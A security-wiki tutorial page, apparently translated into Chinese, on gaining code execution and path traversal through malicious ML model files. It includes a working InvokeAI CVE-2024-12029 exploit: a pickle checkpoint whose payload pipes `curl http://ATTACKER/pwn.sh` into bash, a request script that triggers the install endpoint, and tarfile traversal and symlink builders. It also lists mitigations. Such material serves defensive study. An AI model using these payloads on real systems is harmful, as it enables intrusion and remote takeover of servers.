Models RCE

Reading time: 11 minutes

加载模型到 RCE

机器学习模型通常以不同格式共享，如 ONNX、TensorFlow、PyTorch 等。这些模型可以加载到开发者的机器或生产系统中使用。通常情况下，模型不应包含恶意代码，但在某些情况下，模型可以被用来在系统上执行任意代码，作为预期功能或由于模型加载库中的漏洞。

在撰写时，这里有一些此类漏洞的示例：

此外，还有一些基于 Python pickle 的模型，如 PyTorch 使用的模型，如果不使用 weights_only=True 加载，则可能被用来在系统上执行任意代码。因此，任何基于 pickle 的模型可能特别容易受到此类攻击，即使它们未在上表中列出。

🆕 通过 torch.load 调用 InvokeAI RCE (CVE-2024-12029)

InvokeAI 是一个流行的开源 Stable-Diffusion 网络界面。版本 5.3.1 – 5.4.2 暴露了 REST 端点 /api/v2/models/install，允许用户从任意 URL 下载和加载模型。

内部该端点最终调用：

checkpoint = torch.load(path, map_location=torch.device("meta"))

当提供的文件是一个 PyTorch checkpoint (*.ckpt) 时，torch.load 执行 pickle 反序列化。由于内容直接来自用户控制的 URL，攻击者可以在检查点中嵌入一个带有自定义 __reduce__ 方法的恶意对象；该方法在 反序列化 期间执行，导致 远程代码执行 (RCE) 在 InvokeAI 服务器上。

该漏洞被分配为 CVE-2024-12029 (CVSS 9.8, EPSS 61.17 %)。

利用过程

1. 创建一个恶意检查点：

# payload_gen.py
import pickle, torch, os

class Payload:
def __reduce__(self):
return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",))

with open("payload.ckpt", "wb") as f:
pickle.dump(Payload(), f)

2. 在您控制的 HTTP 服务器上托管 payload.ckpt（例如 http://ATTACKER/payload.ckpt）。
3. 触发易受攻击的端点（不需要身份验证）：

import requests

requests.post(
"http://TARGET:9090/api/v2/models/install",
params={
"source": "http://ATTACKER/payload.ckpt",  # remote model URL
"inplace": "true",                         # write inside models dir
# the dangerous default is scan=false → no AV scan
},
json={},                                         # body can be empty
timeout=5,
)

4. 当 InvokeAI 下载文件时，它调用 torch.load() → os.system 小工具运行，攻击者在 InvokeAI 进程的上下文中获得代码执行权限。

现成的利用：Metasploit 模块 exploit/linux/http/invokeai_rce_cve_2024_12029 自动化整个流程。

条件

• InvokeAI 5.3.1-5.4.2（扫描标志默认 false） • /api/v2/models/install 可被攻击者访问 • 进程具有执行 shell 命令的权限

缓解措施

• 升级到 InvokeAI ≥ 5.4.3 – 补丁默认将 scan=True，并在反序列化之前执行恶意软件扫描。
• 在程序中加载检查点时使用 torch.load(file, weights_only=True) 或新的 torch.load_safe 辅助工具。
• 强制执行模型源的允许列表/签名，并以最小权限运行服务。

⚠️ 请记住，任何 基于 Python pickle 的格式（包括许多 .pt、.pkl、.ckpt、.pth 文件）从不受信任的来源反序列化本质上是不安全的。

如果您必须保持旧版 InvokeAI 在反向代理后运行的临时缓解措施示例：

location /api/v2/models/install {
deny all;                       # block direct Internet access
allow 10.0.0.0/8;               # only internal CI network can call it
}

示例 – 创建恶意 PyTorch 模型

• 创建模型：

# attacker_payload.py
import torch
import os

class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))

# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}

# Save the malicious state dict
torch.save(malicious_state, "malicious_state.pth")

• 加载模型：

# victim_load.py
import torch
import torch.nn as nn

class MyModel(nn.Module):
def __init__(self):
super().__init__()
self.fc = nn.Linear(10, 1)

model = MyModel()

# ⚠️ This will trigger code execution from pickle inside the .pth file
model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))

# /tmp/pwned.txt is created even if you get an error

Models to Path Traversal

正如在这篇博客文章中所述，不同AI框架使用的大多数模型格式基于归档，通常是.zip。因此，可能可以利用这些格式执行路径遍历攻击，从而允许读取加载模型的系统中的任意文件。

例如，使用以下代码，您可以创建一个模型，当加载时将在/tmp目录中创建一个文件：

import tarfile

def escape(member):
member.name = "../../tmp/hacked"     # break out of the extract dir
return member

with tarfile.open("traversal_demo.model", "w:gz") as tf:
tf.add("harmless.txt", filter=escape)

或者，使用以下代码，您可以创建一个模型，当加载时会创建一个指向 /tmp 目录的符号链接：

import tarfile, pathlib

TARGET  = "/tmp"        # where the payload will land
PAYLOAD = "abc/hacked"

def link_it(member):
member.type, member.linkname = tarfile.SYMTYPE, TARGET
return member

with tarfile.open("symlink_demo.model", "w:gz") as tf:
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
tf.add(PAYLOAD)                      # rides the symlink

深入探讨：Keras .keras 反序列化和小工具搜索

有关 .keras 内部结构、Lambda-layer RCE、≤ 3.8 中的任意导入问题以及修复后在允许列表中发现的小工具的详细指南，请参见：

Keras Model Deserialization Rce And Gadget Hunting

参考文献

• OffSec 博客 – "CVE-2024-12029 – InvokeAI 不受信任数据的反序列化"
• InvokeAI 补丁提交 756008d
• Rapid7 Metasploit 模块文档
• PyTorch – torch.load 的安全考虑